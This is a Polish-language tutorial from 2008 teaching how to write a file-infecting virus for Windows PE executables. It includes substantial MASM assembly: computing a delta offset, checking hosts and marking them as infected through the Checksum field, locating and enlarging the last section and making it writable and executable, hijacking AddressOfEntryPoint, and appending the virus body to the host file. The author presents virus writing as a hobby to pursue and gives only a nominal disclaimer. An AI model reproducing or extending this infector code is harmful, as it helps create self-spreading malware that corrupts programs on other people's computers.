wydanie pierwsze
czerwiec 2008

Infekowanie plików EXE PE

amdfanatyk

Spis treści:

Dla kogo jest ten tekst?

Tekst ten przeznaczony jest dla osób chcących poszerzyć swoje umiejętności programowania w asemblerze o umiejętność tworzenia wirusów infekujących pliki wykonywalne (exe) zapisane w formacie Portable Executable.

Dla kogo nie jest ten tekst?

Tekst nie jest przeznaczony dla osób chcących szybko napisać program, który zniszczy system kolegi, koleżanki lub uczelniany. Do tego celu w sieci udostępniono generatory wirusów i innego malware'u.

Czego Czytelnik powinien być świadom?

Korzystanie z informacji zawartych w tym tekście jest równoznaczne ze złożeniem przez Czytelnika oświadczenia, iż żadne stworzone przez niego wirusy nie opuszczą jego własnego komputera. Czytelnik ponosi odpowiedzialność za potencjalne szkody, które wyrządzi nieumiejętnie obchodząc się z napisanym przez siebie oprogramowaniem.

Co będzie potrzebne?

Dużo wolnego czasu i dobrej woli, w miarę prosty edytor tekstu np. Notepad++, MASM32, PE File Format Offsets, Windows XP. Dodatkowo pomocne mogą okazać się następujące narzędzia: IDA, OllyDbg, Depends, WinHex, PE Explorer.

Jakie umiejętności zdobędzie Czytelnik po lekturze tekstu?

Czytelnik będzie potrafił stworzyć mało skomplikowany wirus infekujący pliki EXE PE poprzez dołączanie się do końca ostatniej sekcji pliku PE i modyfikowanie pola Entry Point. Dodatkowo, aby uniknąć bezmyślnego kopiowania kodu, wszystkie fragmenty wirusa zostały zamieszczone w tekście jako obrazki.

Jak zbudowany jest plik PE?

DOS MZ header (nagłówek pliku EXE znany z DOS; dzięki niemu można uruchomić plik PE pod DOS i ten ucieszy się myśląc, że ma do czynienia ze zwykłym plikiem EXE; dla nas istotne są pierwsze dwa ('MZ') i cztery ostanie bajty (adres PE header)
DOS stub (program, który zostaje wykonany, gdy uruchomimy plik PE pod DOS; chyba każdy kiedyś uruchomił plik PE pod DOS i wie, co wtedy zostaje wyświetlone na ekranie)
PE header + Optional header (pola tego nagłówka będziemy odczytywać i zapisywać; jest to niezbędne, aby dołączyć wirus w odpowiednim miejscu pliku oraz, aby spowodować, że system operacyjny przekaże sterowanie do kodu wirusa)
Section header (zawiera informacje o sekcjach pliku PE; dla nas istotne są informacje o ostatniej sekcji; będzie trzeba wprowadzić tutaj kilka zmian)
Section 1 (pierwsza sekcja pliku PE)
Section 2 (druga sekcja pliku PE)
Section ... (kolejne sekcje pliku PE)
Section n (n-ta sekcja pliku PE)

Delta offset

Programowanie wirusa jest nieco bardziej skomplikowane niż tworzenie zwykłego programu. Jeśli odwołujesz się do zmiennej nie możesz użyć samego jej offsetu. Zostaje on na stałe zapisany w pliku podczas procesu kompilacji. Zadaniem wirusa jest przecież dołączenie swojego kodu (non-overwiting virii) do gospodarza (host). Łatwo zatem zrozumieć, że taki offset poprawy w oryginale wirusa, w jego kopii poprawnym już nie jest. Należy uzyskać za pomocą prostej sztuczki wartość (delta offset), o którą trzeba zwiększyć

```
60  begin_vir:
61      call nxt
62
63  nxt:
64      pop ebp
65      sub ebp,offset nxt
66
67      mov eax,ebp
68      add eax,offset start_vir
69
70      jmp eax
```

stary offset, aby otrzymać poprawny adres. W rejestrze EBP umieszczony został delta offset (linia 65). Następnie obliczony został poprawny offset dla instrukcji wskazywanej przez etykietę start_vir (linia 68). Obliczony offset można wykorzystać np. do skoku (linia 70).

Co zostało pominięte?

Pomijam proces znajdowania kolejnych gospodarzy (funkcje FindFirstFile oraz FindNextFile), sposób w jaki plik gospodarza zostaje otwarty (funkcja CreateFile) i wczytany/zapisany (funkcja ReadFile/WriteFile) lub zamapowany do pamięci (funkcje CreateFileMapping oraz MapViewOfFile).

Weryfikacja gospodarza

Zakładam, że rejestr ESI wskazuje na pierwszy bajt pliku gospodarza. Sprawdzamy dwa pierwsze bajty, aby stwierdzić, czy mamy do czynienia z plikiem EXE MZ (linie 177 i 178). Jeśli tak, pobieramy do EDI adres PE header (linia 179). Następnie modyfikujemy ESI, aby wskazywał na pierwszy bajt nagłówka PE (linia 180). Sprawdzamy pierwsze dwa bajty wskazywane przez ESI, aby stwierdzić, czy rzeczywiście mamy do czynienia z nagłówkiem PE (linie 181 i 182). Jeśli tak, sprawdzamy wartość pola typu DWORD o offsecie względem początku PE header wynoszącym 58h (linia 183) – jest po pole Checksum. System operacyjny nie wykorzystuje tego pola, można zatem skorzystać z niego, aby zapobiec wielokrotnemu infekowaniu tego samego pliku. Umawiamy się, że wirus po infekcji ustawia wszystkim bitom tego pola wartość 1. Kolejnym krokiem jest obliczenie adresu instrukcji wskazywanej pierwotnie przez infect (linie 184 i 185) i skok pod obliczony adres (linia 187).

```
177     .if byte ptr [esi+00h]=='M'
178         .if byte ptr [esi+01h]=='Z'
179             mov edi,dword ptr [esi+3Ch]
180             add esi,edi
181             .if byte ptr [esi+00h]=='P'
182                 .if byte ptr [esi+01h]=='E'
183                     .if dword ptr [esi+58h]!=0FFFFFFFFh
184                         mov eax,ebp
185                         add eax,offset infect
186 
187                         jmp eax
188                     .endif
189                 .endif
190             .endif
191         .endif
192     .endif
```

Znajdowanie ostatniej sekcji

Rozmiar PE header jest stały i wynosi 18h. Zaraz za nagłówkiem PE występuje Optional header, którego rozmiar mamy pod offsetem 14h względem początku PE header. Po zsumowaniu tych dwóch wartości otrzymujemy adres, pod którym znajduje się początek Section header (linie 205-208). W rejestrze ECX umieszczamy ilość sekcji (linia 204).

```
201 infect:
202     xor ecx,ecx
203     mov edi,esi
204     mov cx,word ptr [esi+06h] ; ilosc sekcji
205     xor eax,eax
206     add ax,word ptr [esi+14h] ; rozmiar opt header
207     add edi,eax
208     add edi,18h ; rozmiar header
209
210     xor eax,eax
211     mov ebx,ecx
212
213     push edi
214     push esi
215
216     xor esi,esi
217
218     .while si!=cx
219         mov edx,dword ptr [edi+14h]
220         .if edx>eax
221             mov eax,edx
222             mov ebx,esi
223         .endif
224         add edi,28h
225         inc si
226     .endw
227
228     pop esi
229     pop edi
230
231     mov eax,28h
232     mul ebx
233     add edi,eax
```

Rozpoczynamy właściwy proces poszukiwania ostatniej sekcji (linie 216-226), czyli tej, która ma zapisaną największą wartość w polu PointerToRawData (offset 14h względem początku wpisu dotyczącego danej sekcji w Section header). Rozmiar dotyczącego jednej sekcji wpisu w Section header ma stałą wartość, która wynosi 28h (linia 224). W EBX mamy indeks ostatniej sekcji. Mnożymy EBX przez 28h i dodajemy do adresu początku Section header (linie 231-233). W EDI mamy adres początku wpisu w Section header dotyczącego ostatniej sekcji. Zwróć uwagę na to, że wpis dotyczący ostatniej sekcji pliku PE nie musi być ostatnim wpisem w Section header.

Modyfikowanie wpisu w Section header dotyczącego ostatniej sekcji

Zapamiętujemy oryginalny rozmiar (VirtualSize) ostatniej sekcji w zmiennej OldVirtualSize (linie 236 i 237). Przypominam, że w ESI mamy adres początku PE header a w EDI adres początku wpisu w Section header dotyczącego ostatniej sekcji. Następnie obliczamy i ustawiamy nowy rozmiar dla ostatniej sekcji, czyli rozmiar jaki będzie mieć sekcja po dopisaniu do jej pierwotnego końca kodu wirusa (linie 238 i 239).

```
236     mov eax,dword ptr [edi+08h]
237     mov [ebp+offset OldVirtualSize],eax
238     add eax,[ebp+offset VirLength]
239     mov dword ptr [edi+08h],eax
```

Długość kodu wirusa jest zdefiniowana następująco:

```
83      VirLength DWORD offset end_vir-offset begin_vir
```

Kolejną czynnością do wykonania jest ustawienie nowej wartości dla pola SizeOfRawData (linie 241 i 243-249). Musi się tam znaleźć wyrównana zgodnie z wartością pola SectionAlignment (offset 38h względem początku PE header) wartość reprezentująca nowy rozmiar ostatniej sekcji. Wyrównywanie wartości polega na takim zaokrągleniu w górę wyrównywanej wartości, które da wartość bez reszty podzielną przez wartość, do której wyrównujemy. Jeśli mamy wyrównać wartość 1350h do 1000h, to po wyrównaniu otrzymamy 2000h.

```
241     mov eax,dword ptr [edi+10h]
242     mov [ebp+offset OldSizeOfRawData],eax
243     add eax,[ebp+offset VirLength]
244     mov ebx,dword ptr [esi+38h]
245     mov edx,ebp
246     add edx,offset align_val
247     push edx
248     call edx
249     mov dword ptr [edi+10h],eax ;nowy SizeOfRawData
```

Wyrównywaniem wartości zajmuje się następujący kod:

```
355 align_val:
356     xor edx,edx
357     div ebx
358     or edx,edx
359     jz no_round_up
360     inc eax
361 no_round_up:
362     mul ebx
363     ret
```

Sekcji trzeba jeszcze ustawić nowe atrybuty. Wartość A0000020h jest sumą OR trzech wartości, które oznaczają kolejno, że sekcja: zawiera kod (00000020h), może być wykonywana (20000000h), może być zapisywana (80000000h).

```
260     or dword ptr [edi+24h],0A0000020h ;atrybuty sekcji
```

Finalne modyfikacje w nagłówku PE

Pozostało nam jeszcze ustawić nowe wartości dla trzech pól nagłówka PE: SizeOfImage (rozmiar obrazu uległ zmianie bo zmienił się rozmiar ostatniej sekcji), AddressOfEntryPoint (musi wskazywać na kod wirusa), Checksum (wartość FFFFFFFFh będzie służyć identyfikacji zainfekowanego już pliku PE). W rejestrze EBX umieszczamy oryginalny SizeOfImage (linia 251). W EAX umieszczamy nowy VirtualSize ostatniej sekcji (linia 253) i sumujemy go z wartością pola VirualAddress ostatniej sekcji (linia 254). Ponieważ zajmujemy się ostatnią sekcją, w wyniku zsumowania jej rozmiaru z jej adresem początkowym, otrzymaliśmy nowy rozmiar obrazu, który musimy teraz wyrównać zgodnie z wartością pola FileAlignment (offset 3Ch względem początku PE header) i ustawić jako nowy SizeOfImage (linie 255-258).

```
251     mov ebx,dword ptr [esi+50h]
252     mov [ebp+offset OldSizeOfImage],ebx
253     mov eax,dword ptr [edi+08h]
254     add eax,dword ptr [edi+0Ch]
255     mov ebx,dword ptr [esi+3Ch]
256     pop edx
257     call edx
258     mov dword ptr [esi+50h],eax ;nowy SizeOfImage
```

Teraz zabieramy się za Entry Point. W rejestrze EBX umieszczamy oryginalny Entry Point (linia 262). Sumujemy go z wartością pola ImageBase (linia 263). W ten sposób otrzymaliśmy adres, pod który powinien przekazać sterowanie gospodarzowi (return to the host) nasz wirus po wykonaniu swojego zadania. Zapisujemy ten adres jako OldEntryPoint (linia 264). W rejestrze EAX umieszczamy VirtualAddress ostatniej sekcji (linia 265) i sumujemy go z oryginalną wartością SizeOfRawData (linia 266). Otrzymaliśmy nowy AddressOfEntryPoint. Ustawiamy go w nagłówku PE (linia 267).

```
262     mov ebx,dword ptr [esi+28h]
263     add ebx,dword ptr [esi+34h]
264     mov [ebp+offset OldEntryPoint],ebx
265     mov eax,dword ptr [edi+0Ch]
266     add eax,[ebp+offset OldSizeOfRawData]
267     mov dword ptr [esi+28h],eax
```

Ustawiamy jeszcze nową wartość dla pola Checksum. Wartość ta identyfikuje plik jako zainfekowany naszym wirusem. Jeśli piszesz swojego wirusa powinieneś wybrać wartość inną niż FFFFFFFFh.

```
270     mov dword ptr [esi+58h],0FFFFFFFFh
```

Doklejanie wirusa do pliku

Używamy funkcji SetFilePointer do ustawienia wskaźnika pliku tak, aby pokazywał na początek pliku gospodarza (linie 272-276). Argumenty funkcji odkładamy na stos w kolejności przeciwnej do tej, którą używamy korzystając z invoke. Nie użyłem mapowania pliku do pamięci dlatego zmiany, które do tej pory wprowadziliśmy nie zostały zapisane do pliku. Używamy funkcji WriteFile do nadpisania 3F00h początkowych bajtów gospodarza (linie 277-287).

```
272     push FILE_BEGIN
273     push 0
274     push 0
275     push [ebp+offset file]
276     call [ebp+offset hSetFilePointer]
277             mov edx,ebp
278             add edx,offset bytes
279             push edx
280             mov ebx,ebp
281             add ebx,offset header
282     push 0
283     push edx
284     push 3F00h
285     push ebx
286     push [ebp+offset file]
287     call [ebp+offset hWriteFile]
288
289     push FILE_END
290     push 0
291     push 0
292     push [ebp+offset file]
293     call [ebp+offset hSetFilePointer]
294             pop edx
295             push edx
296             mov ebx,ebp
297             add ebx,offset begin_vir
298     push 0
299     push edx
300     push [ebp+offset VirLength]
301     push ebx
302     push [ebp+offset file]
303     call [ebp+offset hWriteFile]
```

Używamy funkcji SetFilePointer do ustawienia wskaźnika pliku tak, aby pokazywał na koniec pliku gospodarza (linie 289-293). Używamy funkcji WriteFile do dopisania naszego wirusa do końca pliku gospodarza (linie 298-303).

Podczas próby uruchomienia zainfekowanego pliku, Windows prawdopodobnie stwierdzi, że ma do czynienia z nieprawidłowym plikiem EXE. Jeśli ustawiona przez nas dla ostatniej sekcji wartość SizeOfRawData jest większa od oryginalnej wartości SizeOfRawData tej sekcji (linie 305 i 306), musimy dopisać do końca pliku tyle bajtów (ja dopisuje zera), ile wynosi różnica pomiędzy nową a oryginalną wartością pola SizeOfRawData pomniejszona o długość wirusa (linie 307 i 308). Dynamicznie przydzielamy za pomocą funkcji GlobalAlloc wyznaczoną ilość wyzerowanych bajtów (linie 310-312). Dopisujemy zera do końca pliku, czyli za naszym wirusem (linie 313-320). Zwalniamy za pomocą funkcji GlobalFree dynamicznie przydzieloną nam pamięć (linie 321-323).

```
305     mov ebx,dword ptr [edi+10h]
306     .if ebx>[ebp+offset OldSizeOfRawData]
307         sub ebx,[ebp+offset OldSizeOfRawData]
308         sub ebx,[ebp+offset VirLength]
309
310         push ebx
311         push GPTR
312         call [ebp+offset hGlobalAlloc]
313         pop edx
314         push eax
315         push 0
316         push edx
317         push ebx
318         push eax
319         push [ebp+offset file]
320         call [ebp+offset hWriteFile]
321         pop eax
322         push eax
323         call [ebp+offset hGlobalFree]
324     .endif
```

Korzystanie z WinAPI

Niestety w kodzie wirusa nie możemy korzystać z invoke. Adresy niezbędnych wirusowi funkcji można uzyskać na dwa sposoby i tylko jeden z nich jest poprawny ;) Można skorzystać z Import Table, tzn. znaleźć w Import Table adresy funkcji GetModuleHandle oraz GetProcAddress i dalej korzystać z tych dwóch funkcji w celu uzyskania adresów kolejnych funkcji takich jak np. FindFirstFile (sposób poprawny). Można użyć invoke w oryginale wirusa do podstawienia pod zmienne przechowujące adresy funkcji pożądanych wartości za pomocą funkcji GetModuleHandle oraz GetProcAddress, następnie kod wirusa zawierający już poprawnie ustawione adresy funkcji ale nie zawierający invoke dopisać do gospodarza (sposób statyczny - zawodny). Wadą takiego rozwiązania jest to, że wirus będzie prawdopodobnie działać tylko na dokładnie takiej samej wersji Windows, na której został uruchomiony oryginał wirusa. Dla różnych wersji Windows adresy funkcji mogą być różne. Jeśli zatem uruchomimy oryginał wirusa na Windows XP, zainfekujemy kilka plików, te pliki przeniesiemy na system działający pod kontrolą Windows 98SE i uruchomimy je, to okaże się, że oryginalny program nawet się nie uruchomi. Crash nastąpi dużo wcześniej, zanim wirus przekaże sterowanie do hosta.

Co dalej?

Potrafisz już stworzyć mało skomplikowany wirus komputerowy infekujący pliki EXE PE poprzez dopisywanie się do końca ostatniej sekcji pliku i modyfikowanie wartości pola AddressOfEntryPoint nagłówka PE. Możesz teraz stworzyć wirus, który będzie dodawał do pliku PE nową sekcję i umieszczał w niej swój kod. Możesz również spróbować stworzyć wirus, który nie modyfikuje pola AddressOfEntryPoint nagłówka PE. Przede wszystkim możesz kontynuować zdobywanie nowych umiejętności w pasjonującej dziedzinie programowania jaką jest bez wątpienia tworzenie wirusów.

Zgłaszanie błędów

Tekst oparty jest na kodzie napisanego przeze mnie wirusa i dołożyłem wszelkich starań aby nie zawierał błędów i uchybień. Jeśli mimo to znalazłeś błąd, napisz do mnie na mój tlenowy adres email.